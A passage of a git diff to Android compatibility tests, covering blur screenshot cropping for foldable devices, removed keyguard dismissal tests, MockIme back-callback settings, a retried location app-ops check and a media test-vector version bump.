         assertSizesAreSame(initialFullscreenSizes, finalFullscreenSizes);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index 297eaf0..c56e008 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -73,6 +73,7 @@
     private static final int DISABLE_BLUR_BROADCAST_WAIT_TIME = 100;
     private float mSavedAnimatorDurationScale;
     private boolean mSavedWindowBlurDisabledSetting;
+    private Rect mSavedActivityBounds;
 
     @Before
     public void setUp() {
@@ -87,7 +88,13 @@
                     Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
             Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
         });
-        startTestActivity(BACKGROUND_IMAGE_ACTIVITY);
+
+        // Use the background activity's bounds when taking the device screenshot.
+        // This is needed for multi-screen devices (foldables) where
+        // the launched activity covers just one screen
+        WindowManagerState.Activity act = startAndReturnTestActivity(BACKGROUND_IMAGE_ACTIVITY);
+        mSavedActivityBounds = act.getBounds();
+
         verifyOnlyBackgroundImageVisible();
         assertTrue(mContext.getSystemService(WindowManager.class).isCrossWindowBlurEnabled());
     }
@@ -109,7 +116,7 @@
                           extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
 
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
-        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
     }
 
     @Test
@@ -118,7 +125,7 @@
                           extraInt(EXTRA_BLUR_BEHIND_RADIUS_PX, BLUR_BEHIND_PX),
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
 
-        final Bitmap screenshot = takeScreenshot();
+        final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
         assertBlurBehind(screenshot, windowFrame);
         assertNoBackgroundBlur(screenshot, windowFrame);
@@ -165,22 +172,22 @@
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
 
-        Bitmap screenshot = takeScreenshot();
-        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
+        assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(true);
         Thread.sleep(BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertNoBackgroundBlur(screenshot, windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(false);
         Thread.sleep(BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
-        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
+        assertBackgroundBlur(takeScreenshotForBounds(mSavedActivityBounds), windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
     }
 
@@ -191,21 +198,21 @@
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
 
-        Bitmap screenshot = takeScreenshot();
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot, windowFrame);
         assertNoBackgroundBlur(screenshot, windowFrame);
 
         setForceBlurDisabled(true);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertNoBackgroundBlur(screenshot, windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(false);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot,  windowFrame);
         assertNoBackgroundBlur(screenshot, windowFrame);
     }
@@ -218,21 +225,21 @@
                           extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
 
-        Bitmap screenshot = takeScreenshot();
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(true);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertNoBackgroundBlur(screenshot, windowFrame);
         assertNoBlurBehind(screenshot, windowFrame);
 
         setForceBlurDisabled(false);
         Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
 
-        screenshot = takeScreenshot();
+        screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
     }
@@ -241,7 +248,7 @@
     public void testBlurBehindAndBackgroundBlurSetWithAttributes() {
         startTestActivity(BLUR_ATTRIBUTES_ACTIVITY);
         final Rect windowFrame = getWindowFrame(BLUR_ATTRIBUTES_ACTIVITY);
-        final Bitmap screenshot = takeScreenshot();
+        final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
 
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
@@ -254,7 +261,7 @@
                           extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR),
                           extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
         final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
-        Bitmap screenshot = takeScreenshot();
+        Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
 
         assertBlurBehind(screenshot, windowFrame);
         assertBackgroundBlurOverBlurBehind(screenshot, windowFrame);
@@ -326,6 +333,15 @@
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
     }
 
+    private WindowManagerState.Activity startAndReturnTestActivity(ComponentName activityName,
+                                                                   final CliIntentExtra... extras) {
+        launchActivity(activityName, extras);
+        assertNotEquals(mWmState.getRootTaskIdByActivity(activityName), INVALID_STACK_ID);
+        waitAndAssertResumedActivity(activityName, activityName + " must be resumed");
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        return mWmState.getActivity(activityName);
+    }
+
 
     private Rect getWindowFrame(ComponentName activityName) {
         String windowName = getWindowName(activityName);
@@ -334,7 +350,7 @@
     }
 
     private void verifyOnlyBackgroundImageVisible() {
-        final Bitmap screenshot = takeScreenshot();
+        final Bitmap screenshot = takeScreenshotForBounds(mSavedActivityBounds);
         final int height = screenshot.getHeight();
         final int width = screenshot.getWidth();
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
index 784003b..08b8204 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
@@ -174,20 +174,6 @@
     }
 
     @Test
-    public void testDismissKeyguardIfInsecure_notAllowed() {
-        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        lockScreenSession.setLockCredential().gotoKeyguard();
-
-        mWmState.assertKeyguardShowingAndNotOccluded();
-        launchActivityWithDismissKeyguardIfInsecure(SHOW_WHEN_LOCKED_ACTIVITY);
-        mWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
-        mWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
-
-        // Make sure we stay on Keyguard.
-        mWmState.assertKeyguardShowingAndOccluded();
-    }
-
-    @Test
     public void testDismissKeyguardActivity_method() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.setLockCredential();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
index bac67d2..b585c04 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
@@ -106,15 +106,6 @@
     }
 
     @Test
-    public void testDismissKeyguardIfInsecure() {
-        createManagedLockScreenSession().gotoKeyguard();
-        launchActivityWithDismissKeyguardIfInsecure(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
-        mWmState.computeState(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
-        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
-                mWmState.getDefaultDisplayLastTransition());
-    }
-
-    @Test
     public void testNewActivityDuringOccluded() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
@@ -126,18 +117,6 @@
     }
 
     @Test
-    public void testNewDismissKeyguardIfInsecureActivityDuringOccluded() {
-        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
-        lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
-        launchActivityWithDismissKeyguardIfInsecure(
-                SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
-        mWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
-        assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
-                mWmState.getDefaultDisplayLastTransition());
-    }
-
-    @Test
     public void testOccludeManifestAttr() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.gotoKeyguard();
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index e3792ae..3ffda88 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -791,6 +791,12 @@
         return mInstrumentation.getUiAutomation().takeScreenshot();
     }
 
+    protected Bitmap takeScreenshotForBounds(Rect rect) {
+        Bitmap fullBitmap = takeScreenshot();
+        return Bitmap.createBitmap(fullBitmap, rect.left, rect.top,
+                rect.width(), rect.height());
+    }
+
     protected void launchActivity(final ComponentName activityName,
             final CliIntentExtra... extras) {
         launchActivityNoWait(activityName, extras);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
index 464c44d..a378296 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
@@ -16,12 +16,13 @@
 
 package android.server.wm;
 
+import static android.server.wm.ActivityManagerTestBase.isTablet;
+
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
-import android.app.Activity;
 import android.app.ActivityManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -73,6 +74,7 @@
     }
 
     public static void assumeHasColoredNavigationBar(ActivityTestRule<?> rule) {
+        assumeFalse("No colored navigation bar on Tablet", isTablet());
         assumeHasColoredBars();
 
         assumeTrue("Bottom stable inset is non-positive, no navigation bar",
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
index be709b4..cfc30ec 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -61,6 +61,11 @@
     private static final String STRICT_MODE_ENABLED = "StrictModeEnabled";
     private static final String VERIFY_CONTEXT_APIS_IN_ON_CREATE = "VerifyContextApisInOnCreate";
 
+    /**
+     * Simulate the manifest flag enableOnBackInvokedCallback being true for the IME.
+     */
+    private static final String ON_BACK_CALLBACK_ENABLED = "onBackCallbackEnabled";
+
     @NonNull
     private final PersistableBundle mBundle;
 
@@ -182,6 +187,10 @@
         return mBundle.getBoolean(VERIFY_CONTEXT_APIS_IN_ON_CREATE, false);
     }
 
+    public boolean isOnBackCallbackEnabled() {
+        return mBundle.getBoolean(ON_BACK_CALLBACK_ENABLED, false);
+    }
+
     static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
             @Nullable Builder builder) {
         final Bundle result = new Bundle();
@@ -363,5 +372,15 @@
             mBundle.putBoolean(VERIFY_CONTEXT_APIS_IN_ON_CREATE, enabled);
             return this;
         }
+
+        /**
+         * Sets whether the IME's
+         * {@link android.content.pm.ApplicationInfo#isOnBackInvokedCallbackEnabled()}
+         * should be set to {@code true}.
+         */
+        public Builder setOnBackCallbackEnabled(boolean enabled) {
+            mBundle.putBoolean(ON_BACK_CALLBACK_ENABLED, enabled);
+            return this;
+        }
     }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index fc4c05e..528da58 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -426,10 +426,6 @@
                             return e;
                         }
                     }
-                    case "setEnableOnBackInvokedCallback":
-                        boolean isEnabled = command.getExtras().getBoolean("isEnabled");
-                        getApplicationInfo().setEnableOnBackInvokedCallback(isEnabled);
-                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
                     case "getDisplayId":
                         return getDisplay().getDisplayId();
                     case "verifyLayoutInflaterContext":
@@ -679,6 +675,10 @@
                             .build());
         }
 
+        if (mSettings.isOnBackCallbackEnabled()) {
+            getApplicationInfo().setEnableOnBackInvokedCallback(true);
+        }
+
         getTracer().onCreate(() -> {
             super.onCreate();
             mHandlerThread.start();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index ac95dc8..d79dcca 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -51,6 +51,7 @@
 import android.app.AlertDialog;
 import android.app.Instrumentation;
 import android.app.compat.CompatChanges;
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.Color;
 import android.os.SystemClock;
@@ -245,27 +246,38 @@
     }
 
     private void verifyHideImeBackPressed(
-            boolean appRequestsLegacy, boolean imeRequestsLegacy) throws Exception {
+            boolean appRequestsBackCallback, boolean imeRequestsBackCallback) throws Exception {
         final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        final InputMethodManager imm = InstrumentationRegistry.getInstrumentation()
-                .getTargetContext().getSystemService(InputMethodManager.class);
+        final Context context = instrumentation.getTargetContext();
+        final InputMethodManager imm = context.getSystemService(InputMethodManager.class);
+
+        // Whether 'OnBackInvokedCallback' or 'onBackPressed' (legacy back) is used is defined by
+        // the 'enableOnBackInvokedCallback' flag in the Application manifest.
+        // Registering a callback is only authorized if the flag is set to true. Since the
+        // WindowOnBackDispatcher is created at the same time as the ViewRootImpl, for test purpose,
+        // we need to manually set the flag on ApplicationInfo before the window is created which
+        // happens during the MockIme creation and TestActivity creation.
 
         try (MockImeSession imeSession = MockImeSession.create(
                 instrumentation.getContext(),
                 instrumentation.getUiAutomation(),
-                new ImeSettings.Builder())) {
+                new ImeSettings.Builder()
+                        .setOnBackCallbackEnabled(imeRequestsBackCallback)
+        )) {
             final ImeEventStream stream = imeSession.openEventStream();
 
             final String marker = getTestMarker();
+
+            if (appRequestsBackCallback) {
+                context.getApplicationInfo().setEnableOnBackInvokedCallback(true);
+            }
+
             final EditText editText = launchTestActivity(marker);
             final TestActivity testActivity = (TestActivity) editText.getContext();
-            if (appRequestsLegacy) {
-                testActivity.getApplicationInfo().setEnableOnBackInvokedCallback(true);
+
+            if (!appRequestsBackCallback) {
                 testActivity.setIgnoreBackKey(true);
             }
-            if (imeRequestsLegacy) {
-                imeSession.callSetEnableOnBackInvokedCallback(true);
-            }
 
             expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
             notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
@@ -296,22 +308,26 @@
 
     @Test
     public void testHideImeAfterBackPressed_legacyAppLegacyIme() throws Exception {
-        verifyHideImeBackPressed(true /* appRequestsLegacy */, true /* imeRequestsLegacy */);
+        verifyHideImeBackPressed(false/* appRequestsBackCallback */,
+                false/* imeRequestsBackCallback */);
     }
 
     @Test
     public void testHideImeAfterBackPressed_migratedAppLegacyIme() throws Exception {
-        verifyHideImeBackPressed(false /* appRequestsLegacy */, true /* imeRequestsLegacy */);
+        verifyHideImeBackPressed(true/* appRequestsBackCallback */,
+                false/* imeRequestsBackCallback */);
     }
 
     @Test
     public void testHideImeAfterBackPressed_migratedAppMigratedIme() throws Exception {
-        verifyHideImeBackPressed(false /* appRequestsLegacy */, false /* imeRequestsLegacy */);
+        verifyHideImeBackPressed(true/* appRequestsBackCallback */,
+                true/* imeRequestsBackCallback */);
     }
 
     @Test
     public void testHideImeAfterBackPressed_legacyAppMigratedIme() throws Exception {
-        verifyHideImeBackPressed(true /* appRequestsLegacy */, false /* imeRequestsLegacy */);
+        verifyHideImeBackPressed(false/* appRequestsBackCallback */,
+                true/* imeRequestsBackCallback */);
     }
 
     @Test
diff --git a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
index 990d1de..a70065c 100644
--- a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
@@ -19,6 +19,7 @@
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
 
+import static com.android.compatibility.common.util.SystemUtil.eventually;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import android.app.ActivityManager;
@@ -26,7 +27,6 @@
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
 import android.location.LocationManager;
 import android.os.PackageTagsList;
 import android.os.Process;
@@ -70,46 +70,50 @@
             runWithShellPermissionIdentity(() -> {
                 mLm.setLocationEnabledForUser(false, user);
             });
+            List<PackageInfo> pkgs =
+                    mContext.getPackageManager().getInstalledPackagesAsUser(
+                            0, user.getIdentifier());
 
-            List<String> bypassedNoteOps = new ArrayList<>();
-            List<String> bypassedCheckOps = new ArrayList<>();
-            for (PackageInfo pi : mContext.getPackageManager().getInstalledPackagesAsUser(
-                            0, user.getIdentifier())) {
-                ApplicationInfo ai = pi.applicationInfo;
-                if (ai.uid != Process.SYSTEM_UID) {
-                    final int[] mode = {MODE_ALLOWED};
-                    runWithShellPermissionIdentity(() -> {
-                        mode[0] = mAom.noteOpNoThrow(
-                                OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
-                    });
-                    if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
-                        bypassedNoteOps.add(pi.packageName);
+            eventually(() -> {
+                List<String> bypassedNoteOps = new ArrayList<>();
+                List<String> bypassedCheckOps = new ArrayList<>();
+                for (PackageInfo pi : pkgs) {
+                    ApplicationInfo ai = pi.applicationInfo;
+                    if (ai.uid != Process.SYSTEM_UID) {
+                        final int[] mode = {MODE_ALLOWED};
+                        runWithShellPermissionIdentity(() -> {
+                            mode[0] = mAom.noteOpNoThrow(
+                                    OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+                        });
+                        if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
+                            bypassedNoteOps.add(pi.packageName);
+                        }
+
+
+                        mode[0] = MODE_ALLOWED;
+                        runWithShellPermissionIdentity(() -> {
+                            mode[0] = mAom
+                                    .checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+                        });
+                        if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
+                            bypassedCheckOps.add(pi.packageName);
+                        }
+
                     }
-
-
-                    mode[0] = MODE_ALLOWED;
-                    runWithShellPermissionIdentity(() -> {
-                        mode[0] = mAom.checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
-                    });
-                    if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
-                        bypassedCheckOps.add(pi.packageName);
-                    }
-
                 }
-            }
 
-            String msg = "";
-            if (!bypassedNoteOps.isEmpty()) {
-                msg += "Apps which still have access from noteOp " + bypassedNoteOps;
-            }
-            if (!bypassedCheckOps.isEmpty()) {
-                msg += (msg.isEmpty() ? "" : "\n\n")
-                        +  "Apps which still have access from checkOp " + bypassedCheckOps;
-            }
-            if(!msg.isEmpty()) {
-                Assert.fail(msg);
-            }
-
+                String msg = "";
+                if (!bypassedNoteOps.isEmpty()) {
+                    msg += "Apps which still have access from noteOp " + bypassedNoteOps;
+                }
+                if (!bypassedCheckOps.isEmpty()) {
+                    msg += (msg.isEmpty() ? "" : "\n\n")
+                            +  "Apps which still have access from checkOp " + bypassedCheckOps;
+                }
+                if (!msg.isEmpty()) {
+                    Assert.fail(msg);
+                }
+            });
         } finally {
             runWithShellPermissionIdentity(() -> {
                 mLm.setLocationEnabledForUser(wasEnabled, user);
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 6dc4631..588ddf8 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaV2TestCases-2.3" />
+        <option name="media-folder-name" value="CtsMediaV2TestCases-2.4" />
         <option name="dynamic-config-module" value="CtsMediaV2TestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 74f76c5..72f13e0 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,5 +1,5 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.3.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/media/README.md b/tests/media/README.md
index 00fd0c1..525379c 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@
 
 The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.3.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
 
 All Big Buck Bunny(bbb) test vectors are of 8-bit format. They are downloaded from [link](https://peach.blender.org/download/) and resampled according to the test requirements.
 All Cosmos Laundromat(cosmat) test vectors are of 10-bit format. They are downloaded from [link](https://media.xiph.org/) and resampled according to the test requirements.
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index df67e307..d7e5d88 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install mediav2 test files manually
 
 adbOptions=" "
-resLabel=CtsMediaV2TestCases-2.3
+resLabel=CtsMediaV2TestCases-2.4
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index e8243f8..f03fa90 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -198,18 +198,20 @@
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleDecodeToSurface() throws IOException, InterruptedException {
         boolean[] boolStates = {true, false};
-        OutputManager ref;
+        OutputManager ref = null;
         OutputManager test = new OutputManager();
         final long pts = 0;
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
         {
-            decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
-            ref = mOutputBuff;
-            // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-            // produce multiple progressive frames?) For now, do not verify timestamps.
-            if (!mIsInterlaced) {
-                assertTrue("input pts list and output pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
+            if (!mSkipChecksumVerification || VNDK_IS_AT_LEAST_T) {
+                decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
+                ref = mOutputBuff;
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and output pts list are not identical",
+                            ref.isOutPtsListIdenticalToInpPtsList(false));
+                }
             }
             MediaFormat format = setUpSource(mTestFile);
             mCodec = MediaCodec.createByCodecName(mCodecName);
@@ -231,12 +233,15 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                if (ref != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", ref.equals(test));
+                    }
                 }
             }
             mCodec.release();
@@ -266,13 +271,16 @@
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
         {
-            decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
-            OutputManager ref = mOutputBuff;
-            // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-            // produce multiple progressive frames?) For now, do not verify timestamps.
-            if (!mIsInterlaced) {
-                assertTrue("input pts list and output pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
+            OutputManager ref = null;
+            if (!mSkipChecksumVerification || VNDK_IS_AT_LEAST_T) {
+                decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
+                ref = mOutputBuff;
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and output pts list are not identical",
+                            ref.isOutPtsListIdenticalToInpPtsList(false));
+                }
             }
             mOutputBuff = test;
             setUpSource(mTestFile);
@@ -312,12 +320,15 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                if (ref != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", ref.equals(test));
+                    }
                 }
 
                 /* test flush in eos state */
@@ -334,12 +345,15 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
